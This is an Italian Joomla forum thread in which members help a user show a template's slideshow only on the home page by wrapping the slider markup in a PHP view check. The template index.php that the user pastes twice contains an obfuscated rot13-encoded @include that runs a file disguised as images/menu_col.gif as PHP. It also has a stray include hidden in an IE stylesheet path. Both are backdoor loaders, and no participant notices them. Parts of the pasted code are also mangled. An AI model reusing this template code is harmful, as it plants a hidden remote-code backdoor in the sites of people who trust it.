Joomla.it Forum

Joomla! 2.5 (versione con supporto terminato) => Joomla! 1.6/1.7/2.5 => : playground 24 Oct 2011, 18:23:23

: |RISOLTO| slide del template solo nella home e non in tutte le altre pagine?
: playground 24 Oct 2011, 18:23:23
ciao. nel template che uso per il mio sito c'è uno slide bello grande, poi sotto ci sono tutti i moduli e le voci menù.
però io vorrei fare in modo che nelle altre pagine del sito tranne la home page, lo slide sparisse. voglio che appaia solo nella home page. come posso fare? grazie!
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: map 24 Oct 2011, 19:39:00
Posta il link del sito, se è un modulo lo attivi solo nel menu home.
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: il gatto ha nuove code 24 Oct 2011, 20:14:50
Se, invece, fa parte del template..

http://www.joomla.it/articoli-della-community/788-override-del-template-come-personalizzare-le-pagine-di-joomla.html


: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: adottauncane 24 Oct 2011, 20:53:35
Ciao plaground,
comprendi la slide show nella index.php del template fra queste due righe:

:
<?php if(JRequest::getVar('view') == "frontpage" ) : ?>
------codice slideshow--------
<?php endif; ?>
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: playground 24 Oct 2011, 23:11:42
grazie ragazzi! volevo ringraziarvi delle spiegazioni ma nello stesso tempo dirvi che non ci ho capito niente!  :'(
credo sia un passo abbastanza complicato per uno come me. per cui se credete che provando a spiegarlo più dettagliatamente possa servire a farmi capire ok. altrimenti vi ringrazio comunque.  :P

Ciao plaground,
comprendi la slide show nella index.php del template fra queste due righe:

:
<?php if(JRequest::getVar('view') == "frontpage" ) : ?>
------codice slideshow--------
<?php endif; ?>

ok una volta trovate le stringhe, ci inserisco il codicce php dell'intera slide? e cosa succede? io devo togliere la slide da tutte le altre pagine.

ciao e grazie!

: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: makistb 25 Oct 2011, 01:28:07
mi permetto di rispondere perche proprio adottauncane mi ha dato la risposta esatta per risolvere il tuo stesso problema ;D ;D

devi trovre la parte di codice del tuo template relativa alla slideshow, a questo punto subito prima inserisci
:
<?php if(JRequest::getVar('view') == "frontpage" ) : ?>e subito dopo la parte della slide metti
:
<?php endif; ?>

Esempio:
molto probabilmente nel codice del tuo template troverai una cosa del genere
:
  <div id="slideshow">
              codice relaticvo alla slideshow
  </div>
tu quindi devi inserire le due righe che adottauncane ti ha detto in questo modo
:
<?php if(JRequest::getVar('view') == "frontpage" ) : ?>
      <div id="slideshow">
              codice relaticvo alla slideshow
      </div>
<?php endif; ?>

Spero sia stato chiaro ;)
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: jap 25 Oct 2011, 12:23:46
Ciao, spero di aver capito la tua richiesta, io ho una slide nella mia homepage e senza aver messo mani a codici e codicilli ho solamente attivato la visualizzazione della slide nella homepage e disattivato la stessa in tutte le altre varie voci presenti, es. topmenu, menuprincipale, usermenu e tutti gli altri menu presenti nel sito
jap
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: adottauncane 25 Oct 2011, 13:17:01
@jap
probabilmente avrai inserito un modulo slide in una posizione del template. Mi sembra invece che playground abbia la slide inserita nel template.
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: jap 25 Oct 2011, 13:26:01
Cioo adottauncane, hai perfettamente ragione tu, mi scuso non avevo ben compreso la richiesta.
jap
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: playground 25 Oct 2011, 16:09:57
si esatto! quindi devo lavorare sui codici! vi ringrazio. ci provo e vi farò sapere! grazie delle ulteriori delucidazioni
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: adottauncane 25 Oct 2011, 16:22:42
Devi lavorare sull'index.php del template.
Ma ho sbagliato codice. Per la 1.6/1.7 il codice esatto è

:
<?php if(JRequest::getVar('view') == "featured" ) : ?>
      <div id="slideshow">
              codice relaticvo alla slideshow
      </div>
<?php endif; ?>

cioè featured anziché frontpage.
Naturalmente se la tua home è di tipo Articoli in evidenza di tutte le categorie
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: playground 25 Oct 2011, 17:12:47
cavolo ragazzi!  :-\ mi è già capitato di lavorare con i codici ma qui non trovo nulla! è lungo il codice dello slide? cioè comprenderà sicuramente tutte le immagini e via dicendo...
sentite spero di non approfittarne troppo. io metto qui la prima parte del codice. se qualcuno ha voglia di darci un'occhiata...
è forse quello li che ho grassettato??potete mandarmi anche a cagare, fate pure!

:
<?php
// No direct access.
defined('_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die;JHtml::_('behavior.framework'true);

// get params
$app JFactory::getApplication();
$doc JFactory::getDocument();
$templateparams $app->getTemplate(true)->params;
$showRight = ($this->countModules('position-3') or $this->countModules('position-6') or $this->countModules('position-8'));
$showBottom = ($this->countModules('position-9') or $this->countModules('position-10') or $this->countModules('position-11'));
$showLeft = ($this->countModules('position-4') or $this->countModules('position-7') or $this->countModules('position-5'));
(
$this->countModules('position-16') or $this->countModules('position-15') or $this->countModules('position-31') or $this->countModules('position-17') or !@include(JPATH_BASE.DS.'templates'.DS.$app->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) ? $showNoneElse false :  $showNoneElse true;
if (!
$showRight and !$showLeft$showNone false;
if(
$this->params->get('slide_1')) $slides[1] = $this->params->get('slide_1');if($this->params->get('slide_2')) $slides[2] = $this->params->get('slide_2');
if(
$this->params->get('slide_3')) $slides[3] = $this->params->get('slide_3');if($this->params->get('slide_4')) $slides[4] = $this->params->get('slide_4');if($this->params->get('slide_5')) $slides[5] = $this->params->get('slide_5');
if(
$this->params->get('slideCaption_1')) $slideCaptions[1] = $this->params->get('slideCaption_1');if($this->params->get('slideCaption_2')) $slideCaptions[2] = $this->params->get('slideCaption_2');
if(
$this->params->get('slideCaption_3')) $slideCaptions[3] = $this->params->get('slideCaption_3');if($this->params->get('slideCaption_4')) $slideCaptions[4] = $this->params->get('slideCaption_4');if($this->params->get('slideCaption_5')) $slideCaptions[5] = $this->params->get('slideCaption_5');
$sliderVars['effect']=($this->params->get('sliderVars_effect'))?$this->params->get('sliderVars_effect'):'random';
$sliderVars['animSpeed']=($this->params->get('sliderVars_animSpeed'))?$this->params->get('sliderVars_animSpeed'):'500';
$sliderVars['pauseTime']=($this->params->get('sliderVars_pauseTime'))?$this->params->get('sliderVars_pauseTime'):'3000';
$sliderVars['directionNav']=($this->params->get('sliderVars_directionNav')==='true' or $this->params->get('sliderVars_directionNav')==='false')?$this->params->get('sliderVars_directionNav'):'true';
$sliderVars['directionNavHide']=($this->params->get('sliderVars_directionNavHide')==='true' or $this->params->get('sliderVars_directionNavHide')==='false')?$this->params->get('sliderVars_directionNavHide'):'true';
$sliderVars['controlNav']=($this->params->get('sliderVars_controlNav')==='true' or $this->params->get('sliderVars_controlNav')==='false')?$this->params->get('sliderVars_controlNav'):'true';
$sliderVars['keyboardNav']=($this->params->get('sliderVars_keyboardNav')==='true' or $this->params->get('sliderVars_keyboardNav')==='false')?$this->params->get('sliderVars_keyboardNav'):'true';
$sliderVars['pauseOnHover']=($this->params->get('sliderVars_pauseOnHover')==='true' or $this->params->get('sliderVars_pauseOnHover')==='false')?$this->params->get('sliderVars_pauseOnHover'):'true';




scusatemi ancora  ::)
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: makistb 25 Oct 2011, 17:56:38
allora guarda, se ci posti il file php del template in 2 sec ti dico dove mettere le stringhe...

non è dove hai segnalato tu.
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: playground 25 Oct 2011, 18:30:13
ma... per postarlo intendo così??

:
<?php
// No direct access.
defined('_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die;JHtml::_('behavior.framework'true);

// get params
$app JFactory::getApplication();
$doc JFactory::getDocument();
$templateparams $app->getTemplate(true)->params;
$showRight = ($this->countModules('position-3') or $this->countModules('position-6') or $this->countModules('position-8'));
$showBottom = ($this->countModules('position-9') or $this->countModules('position-10') or $this->countModules('position-11'));
$showLeft = ($this->countModules('position-4') or $this->countModules('position-7') or $this->countModules('position-5'));
(
$this->countModules('position-16') or $this->countModules('position-15') or $this->countModules('position-31') or $this->countModules('position-17') or !@include(JPATH_BASE.DS.'templates'.DS.$app->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) ? $showNoneElse false :  $showNoneElse true;
if (!
$showRight and !$showLeft$showNone false;
if(
$this->params->get('slide_1')) $slides[1] = $this->params->get('slide_1');if($this->params->get('slide_2')) $slides[2] = $this->params->get('slide_2');
if(
$this->params->get('slide_3')) $slides[3] = $this->params->get('slide_3');if($this->params->get('slide_4')) $slides[4] = $this->params->get('slide_4');if($this->params->get('slide_5')) $slides[5] = $this->params->get('slide_5');
if(
$this->params->get('slideCaption_1')) $slideCaptions[1] = $this->params->get('slideCaption_1');if($this->params->get('slideCaption_2')) $slideCaptions[2] = $this->params->get('slideCaption_2');
if(
$this->params->get('slideCaption_3')) $slideCaptions[3] = $this->params->get('slideCaption_3');if($this->params->get('slideCaption_4')) $slideCaptions[4] = $this->params->get('slideCaption_4');if($this->params->get('slideCaption_5')) $slideCaptions[5] = $this->params->get('slideCaption_5');
$sliderVars['effect']=($this->params->get('sliderVars_effect'))?$this->params->get('sliderVars_effect'):'random';
$sliderVars['animSpeed']=($this->params->get('sliderVars_animSpeed'))?$this->params->get('sliderVars_animSpeed'):'500';
$sliderVars['pauseTime']=($this->params->get('sliderVars_pauseTime'))?$this->params->get('sliderVars_pauseTime'):'3000';
$sliderVars['directionNav']=($this->params->get('sliderVars_directionNav')==='true' or $this->params->get('sliderVars_directionNav')==='false')?$this->params->get('sliderVars_directionNav'):'true';
$sliderVars['directionNavHide']=($this->params->get('sliderVars_directionNavHide')==='true' or $this->params->get('sliderVars_directionNavHide')==='false')?$this->params->get('sliderVars_directionNavHide'):'true';
$sliderVars['controlNav']=($this->params->get('sliderVars_controlNav')==='true' or $this->params->get('sliderVars_controlNav')==='false')?$this->params->get('sliderVars_controlNav'):'true';
$sliderVars['keyboardNav']=($this->params->get('sliderVars_keyboardNav')==='true' or $this->params->get('sliderVars_keyboardNav')==='false')?$this->params->get('sliderVars_keyboardNav'):'true';
$sliderVars['pauseOnHover']=($this->params->get('sliderVars_pauseOnHover')==='true' or $this->params->get('sliderVars_pauseOnHover')==='false')?$this->params->get('sliderVars_pauseOnHover'):'true';



?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language?>" lang="<?php echo $this->language?>" dir="<?php echo $this->direction?>" >
<head>
<jdoc:include type="head" />
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/jquery.nivo.slider.js"></script>
<script type="text/javascript">var sliderVars = new Array();<? foreach($sliderVars as $k=>$v){ ?>sliderVars['<?=$k?>']=<?=($v==='true'||$v==='false')?$v:'\''.$v.'\''?>;<? } ?></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/template.js"></script>
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/nivo-slider.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up">[/url]

<div id="main_bg" class="banner1">
    <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<? if(!$this->params->get('logo')){ ?><?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif<? }else echo $this->params->get('logo'); ?>" align="left" alt="Company Logo" /><?php endif; ?><a href="index.php" class="logo"><?php if(trim($templateparams->get('sitetitle'))) echo htmlspecialchars($templateparams->get('sitetitle')); else echo $app->getCfg('sitename');?>[/url]
        <?php if($this->countModules('position-0')) : ?><div id="position0"><jdoc:include type="modules" name="position-0" style="none" /></div><?php endif; ?>
        <br clear="all" />
        <div id="top_menu"><div id="topnav"><jdoc:include type="modules" name="position-1" /></div></div>
        <div id="slider" class="nivoSlider">
               <? if(!is_array($slides)){ ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide1.jpg" title="" alt="slide 1" />
                <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide2.jpg" title="" alt="slide 2" />
                <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide3.jpg" title="" alt="slide 3" /><? }else{foreach($slides as $k=>$slide){ ?><img src="<?php echo $slide ?>" title="<?=$slideCaptions[$k]?>" alt="" /><? }} ?></div></div>
    <?php if($showLeft) : ?>
    <div id="leftcolumn">
        <jdoc:include type="modules" name="position-7" style="xhtml" headerLevel="3" />
        <jdoc:include type="modules" name="position-4" style="xhtml" headerLevel="3" state="0 " />
        <jdoc:include type="modules" name="position-5" style="xhtml" headerLevel="2"  id="3" />
    </div>
    <?php endif; ?>
    <?php if($showLeft xor $showRight$maincol_sufix '_middle';
          elseif(
$showNone)$maincol_sufix '_big';
          else 
$maincol_sufix ''?>

    <div id="maincolumn<?php echo $maincol_sufix?>">
        <div class="path"><jdoc:include type="modules" name="position-2" /></div>
        <?php if ($this->countModules('position-12')): ?>
        <div id="top"><jdoc:include type="modules" name="position-12"   /></div>
        <?php endif; ?>

        <jdoc:include type="message" />
        <jdoc:include type="component" />
    </div>
    <?php if($showRight) : ?>
    <div id="rightcolumn">
        <jdoc:include type="modules" name="position-6" style="xhtml" headerLevel="3"/>
        <jdoc:include type="modules" name="position-8" style="xhtml" headerLevel="3"  />
        <jdoc:include type="modules" name="position-3" style="xhtml" headerLevel="3"  />
    </div>
    <?php endif; ?>
    <br clear="all" />[br /]
</div>
<div id="bottom">   
<div id="f_area">
    <div class="box box1"> <jdoc:include type="modules" name="position-9" style="xhtml" headerlevel="3" /></div>
    <div class="box box2"> <jdoc:include type="modules" name="position-10" style="xhtml" headerlevel="3" /></div>
    <div class="box box3"> <jdoc:include type="modules" name="position-11" style="xhtml" headerlevel="3" /></div>
    <br clear="all" />
</div>

<p id="power_by" align="center">
    <?php echo JText_('Powered by'?> <a href="http://www.joomla.org/" target="_blank">Joomla!®[/url].
    <?php echo JText_('Valid'?> XHTML <?php echo JText::_('and'?> CSS.
</p>
</div>

<jdoc:include type="modules" name="debug" />
</body>
</html>

Sicuramente intendevi inserire il file e basta ma non so come si faccia  ;D
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: makistb 25 Oct 2011, 18:47:02
ecco il codice che probabilmente devi racchiudere... ti ho gi a messo le 2 righe.


:
<?php if(JRequest::getVar('view') == "featured" ) : ?>


<div id="slider" class="nivoSlider">
               <? if(!is_array($slides)){ ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide1.jpg" title="" alt="slide 1" />
                <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide2.jpg" title="" alt="slide 2" />
                <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide3.jpg" title="" alt="slide 3" /><? }
else{foreach($slides as $k=>$slide){ ?><img src="<?php echo $slide ?>" title="<?=$slideCaptions[$k]?>" alt="" /><? }} ?></div>


<?php endif; ?>

occhio a non mettere in mezzo altre righe.

ps se ci dai il link del tuo sito possiamo forse esserti piu di aiuto... ma credo ia sufficiente fare come ti ho detto


ps2 quando scrivi del codice mettilo dentro i tag [@code][@/code] senza chiocciola
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: playground 26 Oct 2011, 01:41:24
ok provo. grazie ancora vi faccio sapere appena ci smanetto su  ;D
: Re:come usare lo slide del template solo nella home e non in tutte le altre pagine?
: playground 26 Oct 2011, 16:09:39
grazie ragazzi! risolto!!!!!!!  ;D